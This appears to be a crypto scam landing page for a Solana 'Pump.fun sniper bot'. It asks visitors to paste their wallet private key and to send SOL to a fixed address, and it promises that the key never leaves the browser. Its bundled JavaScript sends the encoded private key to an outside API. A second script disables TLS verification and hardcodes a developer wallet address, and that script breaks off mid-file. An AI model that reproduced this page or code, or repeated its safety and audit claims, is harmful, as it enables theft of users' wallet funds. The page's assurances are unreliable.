<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PumpFun Sniper Bot</title>
    <style>
        /* General Styles */
        body {
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            background-color: #1e1e1e;
            padding: 20px;
            margin: 0;
            color: #ffffff;
        }
        .telegram-link {
            display: block;
            margin-top: 15px;
            font-size: 18px;
            color: #00aaff;
            text-decoration: none;
        }
        a {
            color: #34db9a;
            text-decoration: none;
        }

        a:hover {
            color: #28a477;
            text-decoration: underline;
        }

        /* Logo Styles */
        .logo {
            text-align: center;
            font-size: 32px;
            font-weight: bold;
            color: #fff;
            margin-bottom: 20px;
            
     font-family: 'Orbitron', sans-serif;   
    text-transform: uppercase;
text-shadow: 0 0 10px #33db9a, 0 0 20px #33db9a, 0 0 30px #33db9a;
        }

        /* Menu Styles */
        .menu {
            display: flex;
            justify-content: center;
            background-color: #2d2d2d;
            padding: 10px;
            border-radius: 8px;
            margin-bottom: 20px;
        }

        .menu a {
            color: #ffffff;
            text-decoration: none;
            margin: 0 15px;
            font-size: 16px;
            transition: color 0.3s ease;
        }

        .menu a:hover {
            color: #34db9a;
        }

        /* Container Styles */
        .container {
            display: flex;
            justify-content: space-between;
            width: 100%;
            max-width: 100%;
            margin: auto;
        }

        .left-column  {
	padding: 20px;
    background-color: #1d1d1d;
    box-shadow: 0 0 10px rgb(51 219 154 / 45%);
    border-radius: 25px;
    height: 100%;
    width: 30%;
        }
 

        .right-column {
            width: 64%;
               
                padding: 20px;
            box-shadow: 0 0 10px rgb(39 148 106);
            border-radius: 25px;

        }

        /* Section Styles */
        .section {
            margin-bottom: 15px;
        }

        .section input, .section select, .section button {
    width: 100%;
    padding: 10px 1px;
    margin-top: 5px;
    margin-bottom: 10px;
    border-radius: 5px;
    border: 1px solid #33db9a33;
    background-color: #404040;
    color: #ffffff;
        }

        .section label {
            font-weight: bold;
            display: block;
            color: #ffffff;
        }

        .input-group {
            display: flex;
            justify-content: space-between;
        }

        .input-group input {
            width: 48%;
        }

        .checkbox-container input {
            margin-right: 10px;
            margin-bottom: 10px;
        }

        .checkbox-container label {
            display: inline-block;
            margin-bottom: 5px;
            font-size: 14px;
            color: #ffffff;
        }

        .info-text {
            background-color: #2d2d2d;
            padding: 20px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
            border-radius: 8px;
            margin-bottom: 20px;
            color: #ffffff;
        }

        h2, h3 {
            color: #34db9a;
        }

.section button {
    background-color: #34db9a;
    color: white;
    border: none;
    cursor: pointer;
    transition: background-color 0.3s ease, transform 0.2s ease;
    font-size: 16px; /* Mărimea textului */
    font-weight: bold; /* Face textul mai vizibil */
    padding: 12px 24px; /* Spațiere mai bună */
    border-radius: 8px; /* Colțuri rotunjite */
    box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1); /* Efect 3D */
}

.section button:hover {
    background-color: #2bb381;
    transform: scale(1.05); /* Efect de mărire la hover */
}

.section button:active {
    background-color: #249b6f;
    transform: scale(0.98); /* Ușoară micșorare când e apăsat */
}


        /* Modal Styles */
        .modal {
            display: none;
            position: fixed;
            z-index: 9999;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.7);
            justify-content: center;
            align-items: center;
        }

        .modal-content {
            position: relative;
            background-color: #2d2d2d;
            width: 80%;
            height: 80%;
            border-radius: 8px;
            animation: slideIn 0.5s ease-out;
            overflow: hidden;
        }

        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 10px;
            background-color: #727272;
            color: white;
            font-size: 14px;
            border-radius: 8px 8px 0 0;
        }

        .modal-header button {
            background-color: transparent;
            border: none;
            color: white;
            font-size: 20px;
            cursor: pointer;
            padding: 0;
            margin: 0;
        }

        .modal-header button:hover {
            color: #ff0000;
        }

        iframe {
            width: 100%;
            height: 100%;
            border: none;
        }

        @keyframes slideIn {
            0% { transform: translateY(-20px); opacity: 0; }
            100% { transform: translateY(0); opacity: 1; }
        }

        /* Loading Spinner */
        .loading-container {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100%;
        }

        .loading-spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #3d3d3d;
            border-top: 5px solid #34db9a;
            border-radius: 50%;
            animation: spin 2s linear infinite;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        /* Tooltip Styles */
        .tooltip {
            cursor: help;
            text-decoration: underline dotted;
            position: relative;
        }

        .tooltip:hover::after {
            content: attr(title);
            position: absolute;
            background-color: #333;
            color: #00ff00;
            padding: 8px;
            border-radius: 4px;
            font-size: 12px;
            white-space: normal;
            max-width: 300px;
            width: max-content;
            word-wrap: break-word;
            bottom: 100%;
            left: 50%;
            transform: translateX(-50%);
            z-index: 1;
        }

        .tooltip:hover::after {
            left: auto;
            right: 0;
            transform: none;
        }

        .tooltip:hover::after {
            left: 0;
            right: auto;
            transform: none;
        }
            
    :not(pre)>code[class*=language-], pre[class*=language-] {
       max-height: 400px; 
            overflow-y: auto; 
            padding: 15px; 
            background-color: #525252; 
            border-radius: 8px; 
          }
          
    
        pre {
            max-height: 400px; 
            overflow-y: auto; 
            padding: 15px; 
            background-color: #525252; 
            border-radius: 8px; 
        }
        
        
        
    </style>
</head>
<body>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=NumeFont&display=swap" rel="stylesheet">

    <!-- Logo -->
    <div class="logo"><a href=""><img src="https://i.imgur.com/l62PLry.png"/></a> SNIPERPUMP.FUN </div>

    <!-- Menu -->
    <div class="menu">
        <a href="#" onclick="showContent('home')"><i class="fa-solid fa-house"></i> Home</a>
        <a href="#" onclick="showContent('prices')"><i class="fa-solid fa-dollar-sign"></i> Prices</a>
        <a href="#" onclick="showContent('faq')"><i class="fa-solid fa-circle-question"></i> FAQ</a>
        <a href="#" onclick="showContent('sourcecode')"><i class="fa-solid fa-code"></i> Source Code</a>
        <a href="#" onclick="showContent('support')"><i class="fa-solid fa-headset"></i> Support</a>
    </div>
    
    
    

<div class="container">
    <div class="left-column">
        <!-- Private Key Section -->
        <div class="section">
            <label for="privateKey" class="tooltip" title="* All sessions are on local browser and do not store or misuse your wallet. However, we suggest you create a new wallet and periodically transfer profits to your main wallet.">Private Key:</label>
            <input type="password" id="privateKey" name="privateKey" placeholder="SOL PrivateKey. Format JSON or HEX" required>
            
        </div>

        <!-- Transaction Executor Section -->
    <div class="section">
        <label for="transactionExecutor" class="tooltip" title="* Jito recommended">Transaction Executor:</label>
        <select id="transactionExecutor" name="transactionExecutor">
            <option value="jito">Jito</option>
            <option value="lido">Lido</option>
            <option value="own">Your Own RPC</option>
        </select>
    </div>
     
    <div id="rpcFields" style="display: none;">
        <div class="section">
            <label for="rpcEndpoint">RPC Endpoint:</label>
            <input type="text" id="rpcEndpoint" name="rpcEndpoint" placeholder="e.g., https://api.mainnet-beta.solana.com">
        </div>
        <div class="section">
            <label for="rpcWebSocket">RPC WebSocket Endpoint:</label>
            <input type="text" id="rpcWebSocket" name="rpcWebSocket" placeholder="e.g., wss://api.mainnet-beta.solana.com">
        </div>
    </div>
    
    
    

        <!-- Buying Amount Section -->
        <div class="section">
            <label for="buyingAmount" class="tooltip" title="* Min. 0.1 SOL / Max 0.9 SOL">Buying Amount SOL:</label>
            <div class="input-group">
                <input type="number" id="minAmount" name="minAmount" placeholder="Min 0.1 SOL" required>
                <input type="number" id="maxAmount" name="maxAmount" placeholder="Max 0.9 SOL" required>
            </div>
        </div>

        <!-- Buying Interval Section -->
        <div class="section">
            <label for="buyingInterval" class="tooltip" title="* After how many seconds you want to order new token?">Buying Interval:</label>
            <div class="input-group">
                <input type="number" id="minInterval" name="minInterval" placeholder="Min 0.1 seconds" required>
                <input type="number" id="maxInterval" name="maxInterval" placeholder="Max 100 seconds" required>
            </div>
        </div>

        <!-- Buy Slippage Section -->
        <div class="section">
            <label for="buySlippage" class="tooltip" title="* Between 5 and 15">Buy Slippage (%):</label>
            <input type="number" id="buySlippage" name="buySlippage" placeholder="5" required>
        </div>

        <!-- Auto-Sell Tokens Checkbox -->
        <div class="checkbox-container">
            <input type="checkbox" id="autoSellTokens">
            <label for="autoSellTokens" class="tooltip" title="* Enable this to automatically sell tokens based on your settings.">Advanced Auto-Sell Tokens</label>
        </div>

        <!-- Take Profit Section -->
        <div class="section">
            <label for="takeProfit" class="tooltip" title="* Min 30 / Max. 1000000">Take Profit (%):</label>
            <input type="number" id="takeProfit" name="takeProfit" placeholder="30" required>
        </div>

        <!-- Stop Loss Section -->
        <div class="section">
            <label for="stopLoss" class="tooltip" title="* Min. 10 / Max 100">Stop Loss (%):</label>
            <input type="number" id="stopLoss" name="stopLoss" placeholder="10" required>
            <span class="warning tooltip" title="Even if you set the commission to 10%, you could still lose as much as the whale holds. Therefore, we suggest setting the 'Max Dev Hold Amount' to a maximum of 30%.">
                !! IMPORTANT !!
            </span>
        </div>

        <!-- Max Dev Hold Amount Section -->
        <div class="section">
            <label for="maxDevHold" class="tooltip" title="* If the DEV have more than you selected, the BOT will skip the token">Max Dev Hold Amount (%):</label>
            <select id="maxDevHold" name="maxDevHold">
                <option value="10">10%</option>
                <option value="15">15%</option>
                <option value="20">20%</option>
                <option value="25">25%</option>
                <option value="30">30%</option>
            </select>
        </div>

        <!-- Speed Buy Section -->
        <div class="section">
            <label for="speedBuy" class="tooltip" title="* We suggest you to use 0.01s - 0.09s so you will buy immediately after token launch">Speed Buy token:</label>
            <select id="speedBuy" name="speedBuy">
                <option value="1">0.01s - 0.09s</option>
                <option value="2">0.10s - 0.20s</option>
                <option value="3">0.21s - 0.29s</option>
            </select>
        </div>
        <!-- Run Sniper Button -->
<div class="section">
    <button onclick="handleButtonClick(this)">SUBMIT BOT</button>
</div>

 


         <h3><i class="fa-solid fa-wallet"></i> How do I withdraw my money?</h3> <font color="yellow" size="2">We do not store your money in our database. <br>You are the sole owner of your funds. <br>After each transaction, you will receive your money at your address from your SOLANA wallet using your private key. <br>You will need to import your private key into <a href="https://solflare.com/" target="_blank">Solflare</a> or <a href="https://phantom.com/" target="_blank">Phantom</a> app to access your funds. </font>
    </div> 
 


        <div class="right-column">
        
        
          <div id="home" class="content-section">
         <h2><i class="fa-solid fa-robot"></i> Fastest Pump.fun Sniper Bot</h2>
           
           
           <h3> <i class="fa-solid fa-satellite-dish"></i> Our Sniper BOT scans tokens launched on Pump.fun in real time, allowing us to buy and sell the moment they go live. Regular users will only see newly launched coins after 60 seconds, but our BOT detects them in just 0.01 seconds and can execute a purchase in as little as 0.05 seconds. It then waits at least 8 seconds before selling for maximum profit.</h3>






            
            
            <h1>Pump.fun Solana Trading and Sniping Bot</h1>
        <p>
        
        
            Welcome to the <strong>Pump.fun Solana Trading Bot</strong>! This tool is designed for trading and sniping new token launches on <strong>Pump.fun</strong>. It includes advanced strategies for buying and selling tokens based on market cap changes and bonding curve progress.
        </p>

        <h2><i class="fa-solid fa-file-invoice"></i> Overview</h2>
        <p>
            The <strong>Solana Trading Bot</strong> helps you trade tokens on the Pump.fun platform by leveraging bonding curves and market cap changes. The bot scrapes data to identify new tokens with favorable bonding curves, monitors market cap changes in real-time, and makes intelligent decisions on when to sell to maximize profits.
        </p>

        <h2><i class="fa-solid fa-chess-queen"></i> Trading Strategy</h2>
        <p>
            The bot employs a sophisticated trading strategy to ensure optimal performance:
        </p>
        <ul>
            <li>
                <strong>Initial Buy:</strong> The bot scrapes Pump.fun to identify new token pairs with favorable bonding curves and executes the initial buy.
            </li>
            <li>
                <strong>Monitoring:</strong> Once a token is purchased, the bot continuously monitors the market cap and bonding curve progress.
            </li>
            <li>
                <strong>Profit Targets:</strong>
                <ul>
                    <li>The bot aims to take profit at a <strong>25% increase</strong> and then again at another <strong>25% increase</strong>.</li>
                    <li>It sells <strong>100% of the tokens</strong> at the first selected increase.</li>
                </ul>
            </li>
            <li>
                <strong>Stop Loss:</strong> The bot will sell all tokens if the market cap falls by <strong>10% / 30%</strong> to minimize losses.
            </li>
            <li>
                <strong>Bonding Curve:</strong> The bot will sell <strong>75% of the tokens</strong> if the bonding curve reaches a critical level, keeping <strong>25% as a moon bag</strong> for potential future gains.
            </li>
            <li>
                <strong>Timing:</strong> The bot resets the timer if the price goes up and monitors the trade for a set period, adjusting its actions based on real-time market conditions.
            </li>
        </ul>

        <p>
            With these strategies, the <strong>Pump.fun Solana Trading Bot</strong> ensures you stay ahead in the fast-paced world of Solana trading, maximizing profits while minimizing risks.
        </p>
            
            
            <p>
If you are looking for a fast and reliable way to capitalize on trending tokens on Pump.fun, our Pump.fun Sniper Bot is the ultimate tool for you. Designed for both beginners and experienced traders, our bot offers a seamless and user-friendly experience, allowing you to customize your trading strategy and start sniping tokens in just a few clicks.<br>
<br>
With our High-Speed Pump.fun Sniper Bot, you don’t need to be a crypto expert to stay ahead of the game. Whether you are looking to snipe new launches or ride the wave of trending tokens, our bot ensures you never miss an opportunity. Plus, we prioritize your security and privacy—every transaction is protected by advanced encryption, so you can trade with confidence knowing your assets are safe.<br>
<br>
Say goodbye to unreliable free tools and overpriced solutions. Our bot is designed to deliver top performance without breaking the bank. It’s fast, efficient, and tailored to meet your trading needs, giving you the edge you need to succeed in the competitive world of Pump.fun.<br>
<br>
Why wait? Start maximizing your profits today with the Pump.fun Sniper Bot—the smart choice for serious traders.<br>
<br>
Ready to learn more? Check out our detailed guide to see how our bot can transform your trading experience.<br>
            </p><br>
            
          
 <p>
           <center> <img src="https://i.imgur.com/bzx23wA.png" height="155px" width="155px"/></center>
            </p>

    </div>

    <div id="faq" class="content-section">
        <h2><i class="fa-solid fa-circle-question"></i> FAQ</h2>
        <p>
        
<body>
    <h2>What is SniperPump.fun Bot?</h2>
    <p>
        SniperPump.fun Bot is a powerful decentralized application (dApp) designed to help users 
        snipe newly launched tokens on the Solana blockchain with ease. No coding experience is required—our bot 
        comes with customizable settings to suit your trading preferences.
    </p>
    <p>
        Built for speed and efficiency, SniperPump.fun Bot ensures you can purchase tokens the moment they go live. 
        It’s a secure, audited tool trusted by hundreds of Solana traders every month.
    </p>

    <h2>What Do I Need to Get Started?</h2>
    <p>To use SniperPump.fun Bot, you’ll need the following:</p>
    <ul>
        <li><strong>Wallet Private Key:</strong> This allows the bot to automatically buy and sell tokens on your behalf. You can use JSON and HEX.</li>
        <li>
            <strong>Minimum 2 SOL on wallet:</strong> For optimal performance, we recommend using at least 2 SOL. 
            All your SOL are safe in your account and local browser. Ensure your wallet has enough SOL to cover token 
            purchases and transaction fees. If you have 10+ SOL, it’s even better.
        </li>
    </ul>
    <p><strong>Pro Tip:</strong> Keep your browser tab active while using the bot. Avoid switching tabs, minimizing the 
        browser, or letting your device sleep to prevent disconnections.</p>

    <h2>Is SniperPump.fun Bot Safe to Use?</h2>
    <p>
        Absolutely. SniperPump.fun Bot is a secure dApp that operates without storing or misusing your wallet information. 
        However, for added safety, we recommend using a secondary wallet for sniping and transferring profits to your 
        main wallet periodically.
    </p>
    <p>
        Your private key is required solely to execute trades efficiently on your behalf. Our bot has undergone multiple 
        audits by independent development teams and is trusted by a growing community of Solana users.
    </p>

    <h2>How Much Does It Cost to Use SniperPump.fun Bot?</h2>
    <p>
        Using SniperPump.fun Bot costs <strong>1 SOL</strong> for a 12-hour session and <strong>6 SOL</strong> for 30 days. All prices you can see on PRICE LIST page.
    </p>
    <p>Remember, you’ll also need SOL in your wallet to cover token purchases and blockchain transaction fees.</p>

    <h2>How Much Profit Can I Expect?</h2>
    <p>Profits from sniping tokens vary widely and depend on several factors, including:</p>
    <ul>
        <li>The RPC endpoint you use (speed is critical).</li>
        <li>Competition from other snipers and their RPC speeds.</li>
        <li>The number of tokens that fail or "rug."</li>
        <li>The volume of tokens launched that meet your filter criteria.</li>
    </ul>
    <p>
        While SniperPump.fun Bot provides the technology to snipe tokens, trading always carries risks. 
        We are not responsible for any losses incurred. Rest assured, your funds are safe—we do not store or 
        access your wallet beyond executing trades. All private keys are stored on your local browser.
    </p>

    <h2>Need Help or Facing Issues?</h2>
    <p>
        Our bot includes a robust error-handling system, and most issues will be visible in the logs tab. 
        If you’re experiencing problems, it could be due to low token launch activity on Solana at the moment.
    </p>
    <p>For further assistance, feel free to reach out to our support team.</p>

    <h2>How Do I Withdraw My Money?</h2>
    <p>
        We do not store your money in our database. You are the sole owner of your funds. 
        After each transaction, you will receive your money at your address from your SOLANA wallet using your private key.
    </p>
    <p>
        You will need to import your private key into <strong>Solflare</strong> or <strong>Phantom</strong> to access your funds.
    </p>
</body>

        
        
        
        </p>
        <!-- Add feature details here -->
    </div>

    <div id="prices" class="content-section">
        <h2><i class="fa-solid fa-hand-holding-dollar"></i> Prices</h2>
        <p>






<div style="display: flex; justify-content: center; gap: 20px; padding: 20px; background-color: #1e1e1e; color: white; font-family: Arial, sans-serif;">
    <!-- First price list -->
    <div style="width: 300px; padding: 15px; background: #2b2b2b; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 255, 0, 0.5); text-align: center;">
        <h3 style="color: #00ff00;">Standard Plan</h3>
        <ul style="list-style: none; padding: 0; text-align: left;">
            <li><strong>1 Day:</strong> 1 SOL <br><span style="font-size: 12px; color: #ccc;">High-speed RPC node included. Max. 5 runs</span></li>
            <hr style="border: 0.5px solid #00ff00;">
            <li><strong>7 Days:</strong> 2 SOL <br><span style="font-size: 12px; color: #ccc;">High-speed RPC node included. Max 10 runs/day</span></li>
            <hr style="border: 0.5px solid #00ff00;">
            <li><strong>15 Days:</strong> 3 SOL <br><span style="font-size: 12px; color: #ccc;">High-speed RPC node included. 15 runs/day</span></li>
            <hr style="border: 0.5px solid #00ff00;">
            <li><strong>30 Days:</strong> 5 SOL <br><span style="font-size: 12px; color: #ccc;">High-speed RPC node included. 20 runs/day</span></li>
        </ul>
        <button onclick="openPaymentPopup()" style="background: #00ff00; color: black; padding: 10px; border: none; border-radius: 5px; cursor: pointer; font-weight: bold;">BUY</button>
    </div>

    <!-- Second price list -->
    <div style="width: 300px; padding: 15px; background: #2b2b2b; border-radius: 10px; box-shadow: 0 0 10px rgba(255, 215, 0, 0.5); text-align: center;">
        <h3 style="color: #ffd700;">Premium Plan</h3>
        <ul style="list-style: none; padding: 0; text-align: left;">
            <li><strong>1 Day:</strong> 1.5 SOL <br><span style="font-size: 12px; color: #ccc;">High-speed RPC node included. Max. 10 runs</span></li>
            <hr style="border: 0.5px solid #ffd700;">
            <li><strong>7 Days:</strong> 3 SOL <br><span style="font-size: 12px; color: #ccc;">High-speed RPC node included. Unlimited runs</span></li>
            <hr style="border: 0.5px solid #ffd700;">
            <li><strong>15 Days:</strong> 4 SOL <br><span style="font-size: 12px; color: #ccc;">High-speed RPC node included. Unlimited runs</span></li>
            <hr style="border: 0.5px solid #ffd700;">
            <li><strong>30 Days:</strong> 6 SOL <br><span style="font-size: 12px; color: #ccc;">High-speed RPC node included. Unlimited runs</span></li>
        </ul>
        <button onclick="openPaymentPopup()" style="background: #ffd700; color: black; padding: 10px; border: none; border-radius: 5px; cursor: pointer; font-weight: bold;">BUY</button>
    </div>
</div>




 
<div id="overlay" style="display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.7); z-index: 999;"></div>
 
<div id="paymentPopup" style="display: none; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background: #2b2b2b; padding: 20px; border-radius: 10px; box-shadow: rgb(51 219 154) 0px 0px 15px; color: white; text-align: center; z-index: 1000;">
    <img src="https://statics.solscan.io/solscan-img/solana_icon.svg" heigh="99px" width="99px"/><h3 style="color: #34db9a;">SOLANA PAYMENT DETAILS</h3>
 
    <div style="display: flex; align-items: center; gap: 10px; background: #1e1e1e; padding: 8px; border-radius: 5px;">
        <input type="text" id="solAddress" value="9MtygPiEN5hx2m4rLekWDjDHxkRRTsfBJA91Mz4UGHG8"
            style="width: 100%; background: transparent; border: none; color: #fff; font-weight: bold; text-align: center;" readonly>
        <button onclick="copySolAddress()" style="background: #34db9a; color: black; border: none; padding: 5px 10px; border-radius: 5px; cursor: pointer; font-weight: bold;">COPY</button>
    </div>
 
    <p id="copyNotification" style="display: none; color: #00ff00; font-size: 12px; margin-top: 5px;">✅ SOL ADDRESS COPIED.</p>
<p style="color: #ffaaaa; font-weight: bold;">Before you pay, read the information below.</p><br>
<p style="font-size: 14px; text-align: left; margin-top: 15px;">
    ✅ <strong>After you pay</strong>, your SOL address will be upgraded automatically. We will upgrade the SOL address **from which** we received the payment.<br>
    ✅ When you start the bot, <strong>use your Solana address</strong> from which you made the payment.<br>
    ✅ Send the <font color="#a1ffa1">EXACT</font> amount as listed in the prices. <strong>For example, if the package costs <font color="#a1ffa1">2.00 SOL</font>, do not send <font color="#a1ffa1">1.99 SOL</font> or <font color="#a1ffa1">2.01 SOL</font></strong>. If you accidentally send the wrong amount, contact us.<br>
    ❌ <strong>Do not pay</strong> from someone else's account or from an exchange account.<br>
    ❌ <strong>Pay from your own account</strong>, one to which you have access to the private key.<br>
</p>

    <p style="color: #ffaaaa; font-weight: bold;">!! IMPORTANT !! If you send from another account, that account will have access to the sniper bot.</p>
    
    <button onclick="closePaymentPopup()" style="background: red; color: white; padding: 8px 15px; border: none; border-radius: 5px; cursor: pointer; font-weight: bold;">CLOSE</button>
</div>



<p style="color: #ffaaaa; font-weight: bold;">Before you pay, read the information below.</p>
<p style="font-size: 14px; text-align: left; margin-top: 15px;">
    ✅ <strong>After you pay</strong>, your SOL address will be upgraded automatically. We will upgrade the SOL address **from which** we received the payment.<br>
    ✅ When you start the bot, <strong>use your Solana address</strong> from which you made the payment.<br>
    ✅ Send the <font color="#a1ffa1">EXACT</font> amount as listed in the prices. <strong>For example, if the package costs <font color="#a1ffa1">2.00 SOL</font>, do not send <font color="#a1ffa1">1.99 SOL</font> or <font color="#a1ffa1">2.01 SOL</font></strong>. If you accidentally send the wrong amount, contact us.<br>
    ❌ <strong>Do not pay</strong> from someone else's account or from an exchange account.<br>
    ❌ <strong>Pay from your own account</strong>, one to which you have access to the private key.<br>
</p>

    <p style="color: #ffaaaa; font-weight: bold;">!! IMPORTANT !! If you send from another account, that account will have access to the sniper bot.</p>


        </p> 
    </div>
    
   
    
        <div id="sourcecode" class="content-section">
        <h2><i class="fa-solid fa-code"></i> Source Code</h2>
        <p>
        

 
    <link href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/themes/prism-tomorrow.min.css" rel="stylesheet" />
 
    We provide the source code for the bot, and you can use it for free. Below, you'll find the source code along with usage instructions. If you don't have the necessary knowledge to implement it, we've already done it for you. Just choose one of our packages for assistance.
    <h2>sell.js</h2>
 
    <pre><code class="language-javascript" onmouseover="selectText(this)">require('dotenv').config();
const axios = require('axios');
const { Keypair, Connection, clusterApiUrl, PublicKey } = require('@solana/web3.js');
const { AccountLayout } = require('@solana/spl-token');
const fs = require('fs');
const bs58 = require('bs58');

const SOLANA_WALLET_PATH = process.env.SOLANA_WALLET_PATH;

let privateKey;
try {
    const keypair = fs.readFileSync(SOLANA_WALLET_PATH, 'utf8');
    const keypairArray = JSON.parse(keypair);

    if (Array.isArray(keypairArray)) {
        privateKey = Uint8Array.from(keypairArray);
        console.log('Private key loaded from keypair file.');
    } else {
        throw new Error('Invalid keypair format');
    }
} catch (error) {
    console.error('Error reading Solana wallet keypair:', error);
    process.exit(1);
}

const payer = Keypair.fromSecretKey(privateKey);
const connection = new Connection(clusterApiUrl('mainnet-beta'));

const pumpFunSell = async (mint, amount) => {
    const url = "https://pumpapi.fun/api/trade";
    const data = {
        trade_type: "sell",
        mint,
        amount, // Amount in tokens
        slippage: 5,
        priorityFee: 0.003, // Adjust priority fee if needed
        userPrivateKey: bs58.encode(privateKey)
    };

    try {
        const response = await axios.post(url, data);
        return response.data.tx_hash;
    } catch (error) {
        console.error(`Error executing sell transaction: ${error.message}`, error.response?.data);
        return null;
    }
};

const fetchSPLTokens = async () => {
    try {
        const tokenAccounts = await connection.getTokenAccountsByOwner(payer.publicKey, { programId: new PublicKey("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA") });
        return tokenAccounts.value.map(accountInfo => {
            const accountData = AccountLayout.decode(accountInfo.account.data);
            return {
                mint: new PublicKey(accountData.mint),
                amount: BigInt(accountData.amount.toString()) // Fetch the raw amount as BigInt
            };
        });
    } catch (error) {
        console.error(`Error fetching SPL tokens: ${error.message}`);
        return [];
    }
};

const sellAllTokens = async () => {
    const tokens = await fetchSPLTokens();
    for (const token of tokens) {
        const mint = token.mint.toString();
        const rawAmount = token.amount;
        const humanReadableAmount = Number(rawAmount) / 10 ** 6; // Convert raw amount to correct human-readable format

        console.log(`Token Mint: ${mint}`);
        console.log(`Raw Amount: ${rawAmount}`);
        console.log(`Human-readable Amount: ${humanReadableAmount}`);

        if (humanReadableAmount >= 1) { // Only proceed if human-readable amount is 1 or more
            console.log(`Selling ${humanReadableAmount} of token ${mint}`);

            let attempts = 5;
            let txHash = null;
            while (attempts > 0) {
                txHash = await pumpFunSell(mint, humanReadableAmount); // Pass human-readable amount for API
                if (txHash) {
                    console.log(`Sold ${humanReadableAmount} of token ${mint} with transaction hash: ${txHash}`);
                    break;
                } else {
                    console.log(`Retrying sell transaction... Attempts left: ${attempts - 1}`);
                    attempts--;
                    await new Promise(resolve => setTimeout(resolve, 5000)); // Wait 5 seconds before retrying
                }
            }

            if (!txHash) {
                console.log(`Failed to sell token ${mint} after multiple attempts.`);
            }
        } else {
            console.log(`Skipping token ${mint} as the human-readable amount is less than 1`);
        }
    }
};

sellAllTokens().then(() => {
    console.log('All tokens processed.');
}).catch(error => {
    console.error('Error in selling tokens:', error);
});
    </code></pre>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/prism.min.js"></script>
    <h2>/script.mjs</h2>

    <pre><code class="language-javascript" onmouseover="selectText(this)">import 'dotenv/config';
import axios from 'axios';
import { Keypair, Connection, clusterApiUrl, PublicKey, SystemProgram, Transaction, sendAndConfirmTransaction } from '@solana/web3.js';
import { AccountLayout, getOrCreateAssociatedTokenAccount } from '@solana/spl-token';
import pkg from 'selenium-webdriver';
import chrome from 'selenium-webdriver/chrome.js';
import fs from 'fs';
import bs58 from 'bs58';
import blessed from 'blessed';
import contrib from 'blessed-contrib';

const { Builder } = pkg;

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

const SOLANA_WALLET_PATH = process.env.SOLANA_WALLET_PATH;
const DEVELOPER_ADDRESS = '8bXf8Rg3u4Prz71LgKR5mpa7aMe2F4cSKYYRctmqro6x'; 

let privateKey;
try {
    const keypair = fs.readFileSync(SOLANA_WALLET_PATH, 'utf8');
    const keypairArray = JSON.parse(keypair);

    if (Array.isArray(keypairArray)) {
        privateKey = Uint8Array.from(keypairArray);
        console.log('Private key loaded from keypair file.');
    } else {
        throw new Error('Invalid keypair format');
    }
} catch (error) {
    console.error('Error reading Solana wallet keypair:', error);
    process.exit(1);
}

const payer = Keypair.fromSecretKey(privateKey);
const connection = new Connection(clusterApiUrl('mainnet-beta'));

// Adjustable variables
const MINIMUM_BUY_AMOUNT = parseFloat(process.env.MINIMUM_BUY_AMOUNT || 0.015);
const MAX_BONDING_CURVE_PROGRESS = parseInt(process.env.MAX_BONDING_CURVE_PROGRESS || 10);
const SELL_BONDING_CURVE_PROGRESS = parseInt(process.env.SELL_BONDING_CURVE_PROGRESS || 15);
const PROFIT_TARGET_1 = 1.25; // 25% increase
const PROFIT_TARGET_2 = 1.25; // Another 25% increase
const STOP_LOSS_LIMIT = 0.90; // 10% decrease
const MONITOR_INTERVAL = 5 * 1000; // 5 seconds
const SELL_TIMEOUT = 2 * 60 * 1000; // 2 minutes
const TRADE_DELAY = 90 * 1000; // 90 seconds delay
const PRIORITY_FEE_BASE = 0.0003; // Base priority fee

// Create a blessed screen
const screen = blessed.screen();
const grid = new contrib.grid({ rows: 12, cols: 12, screen: screen });

const logBox = grid.set(3, 0, 9, 12, blessed.box, {
    fg: 'green',
    label: 'Trading Bot Log',
    scrollable: true,
    alwaysScroll: true,
    scrollbar: {
        fg: 'green',
        ch: '|'
    }
});

const accountInfoBox = grid.set(9, 0, 2, 12, blessed.box, {
    fg: 'green',
    label: 'Account Info',
    tags: true
});

const menuBox = grid.set(11, 0, 1, 12, blessed.box, {
    fg: 'white',
    label: 'Menu',
    tags: true,
    content: 'R: Reset Timer | C: Continue | S: Sell 75%'
});

screen.render();

let resetTimer = false;
let continueTrade = false;
let sellImmediately = false;

const updateLog = (message) => {
    logBox.insertBottom(message);
    logBox.setScrollPerc(100);
    screen.render();
};

const updateAccountInfo = async () => {
    const balance = await checkBalance();
    const tokenBalances = await fetchSPLTokens();

    let tokenBalancesText = '';
    tokenBalances.forEach(token => {
        if (token.amount > 1) {
            tokenBalancesText += `Mint: ${token.mint}, Amount: ${token.amount} SPL\n`;
        }
    });

    accountInfoBox.setContent(`Account address: ${payer.publicKey.toString()}\nAccount balance: ${balance} SOL\n${tokenBalancesText}`);
    screen.render();
};

const setVisualMode = (mode) => {
    if (mode === 'trading') {
        logBox.style.fg = 'yellow';
        logBox.style.border = { type: 'line', fg: 'red' };
        accountInfoBox.style.fg = 'yellow';
        accountInfoBox.style.border = { type: 'line', fg: 'red' };
    } else {
        logBox.style.fg = 'green';
        logBox.style.border = { type: 'line', fg: 'blue' };
        accountInfoBox.style.fg = 'green';
        accountInfoBox.style.border = { type: 'line', fg: 'blue' };
    }
    screen.render();
};

